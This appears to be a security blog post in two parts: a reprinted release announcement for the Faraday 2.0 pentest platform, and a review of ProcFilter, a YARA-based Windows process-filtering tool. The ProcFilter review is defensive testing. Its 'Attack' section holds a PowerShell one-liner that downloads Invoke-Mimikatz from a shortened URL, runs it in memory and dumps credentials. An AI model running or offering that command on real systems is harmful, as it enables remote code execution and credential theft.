Toolsmith Release Advisory: Faraday v2.0 - Collaborative Penetration Test & Vulnerability Management Platform

Toolsmith first covered Faraday in March 2015 with Faraday IPE - When Tinfoil Won’t Work for Pentesting. As it's just hit its 2.0 release milestone, I'm reprinting Francisco Amato's announcement regarding Faraday 2.0 as sent via securityfocus.com to the webappsec mailing list.

"Faraday is the Integrated Multiuser Risk Environment you were looking
for! It maps and leverages all the knowledge you generate in real
time, letting you track and understand your audits. Our dashboard for
CISOs and managers uncovers the impact and risk being assessed by the
audit in real-time without the need for a single email. Developed with
a specialized set of functionalities that help users improve their own
work, the main purpose is to re-use the available tools in the
community taking advantage of them in a collaborative way! Check out
the Faraday project in Github.

Two years ago we published our first community version consisting
mainly of what we now know as the Faraday Client and a very basic Web
UI. Over the years we introduced some pretty radical changes, but
nothing like what you are about to see - we believe this is a turning
point for the platform, and we are more than happy to share it with
all of you. Without further ado we would like to introduce you to
Faraday 2.0!

https://github.com/infobyte/faraday/releases/tag/v2.0

This release, presented at Black Hat Arsenal 2016, spins around our
four main goals for this year:

* Faraday Server - a fundamental pillar for Faraday's future. Some of
the latest features in Faraday required a server that could step
between the client and CouchDB, so we implemented one! It still
supports a small amount of operations but it was built thinking about
performance. Which brings us to objective #2...

* Better performance - Faraday will now scale as you see fit. The new
server allows to have huge workspaces without a performance slowdown.
200k hosts? No problem!

* Deprecate QT3 - the QT3 interface has been completely erased, while
the GTK one presented some versions ago will be the default interface
from now on. This means no more problems with QT3 non-standard
packages, smooth OSX support and a lighter Faraday Client for
everyone.

* Licenses - managing a lot of products is time consuming. As you may
already know we've launched Faraday's own App Store
https://appstore.faradaysec.com/ where you can get all of your
favourite tools (Burp suite, IDA Debugger, etc) whether they're open
source or commercial ones. But also, in order to keep your licenses up
to date and never miss an expiry date we've built a Licenses Manager
inside Faraday. Our platform now stores the licenses of third party
products so you can easily keep track of your licenses while
monitoring your pentest.

With this new release we can proudly say we already met all of this
year's objectives, so now we have more than four months to polish the
details. Some of the features released in this version are quite
basic, and we plan to extend them in the next few iterations.

Changes:

* Improved executive report generation performance.
* Totally removed QT3, GTK is now the only GUI.
* Added Faraday Server.
* Added some basic APIs to Faraday Server.
* Deprecated FileSystem databases: now Faraday works exclusively with
Faraday Server and CouchDB.
* Improved performance in web UI.
* Added licenses management section in web UI.
* Fixed bug when deleting objects from Faraday Web.
* Fixed bug when editing services in the web UI.
* Fixed bug where icons were not copied to the correct directory on
initialization.
* Added a button to go to the Faraday Web directly from GTK.
* Fixed bug where current workspace wouldn't correspond to selected
workspace on the sidebar on GTK.
* Fixed bug in 'Refresh Workspace' button on GTK.
* Fixed bug when searching for a non-existent workspace in GTK.
* Fixed bug where Host Sidebar and Status Bar information wasn't
correctly updated on GTK.
* Fixed sqlmap plugin.
* Fixed metasploit plugin.

We hope you enjoy it, and let us know if you have any questions or comments."

https://www.faradaysec.com
https://github.com/infobyte/faraday
https://twitter.com/faradaysec

Ping me via email or Twitter if you have questions (russ at holisticinfosec dot org or @holisticinfosec).

Cheers…until next time. 

Toolsmith In-depth Analysis: ProcFilter - YARA-integrated Windows process denial framework

Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It's been an amazing journey; I look to you, dear reader, for ideas on what tool you'd like to see me cover for the decade anniversary edition. Contact information at the end of this post.

Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it's GitHub readme, ProcFilter is "a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft's ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot."
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It's a lightweight, precise, targeted tool that does not include a large signature set. "ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions."
GoDaddy's Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
"For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we're saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”

Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software - if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.

Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes."

Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.

ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you'll see ProcFilter Service via the services.msc as follows.

ProcFilter Service

You'll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity.  You'll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.

ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.

ProcFilter Service

Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it's quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he's written very effective rules to detect his own craftsmanship. 

mimikatz power_pe_injection Yara rule

I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:

Command-line options

Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation's PowerSploit Github and runs it in memory.

Invoke-mimikatz

The attack didn't get very far at all on Windows 10, by design, but that doesn't mean we don't want to detect such attempted abuses in our environment, even if unsuccessful.

Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. :-)

Suspect process

Running procfilter -memoryscan 10612 came through like a champ.

Command-line ProcFilter detection

The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.

ProcFilter event log view

In closing

Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next time, for the big decade anniversary edition.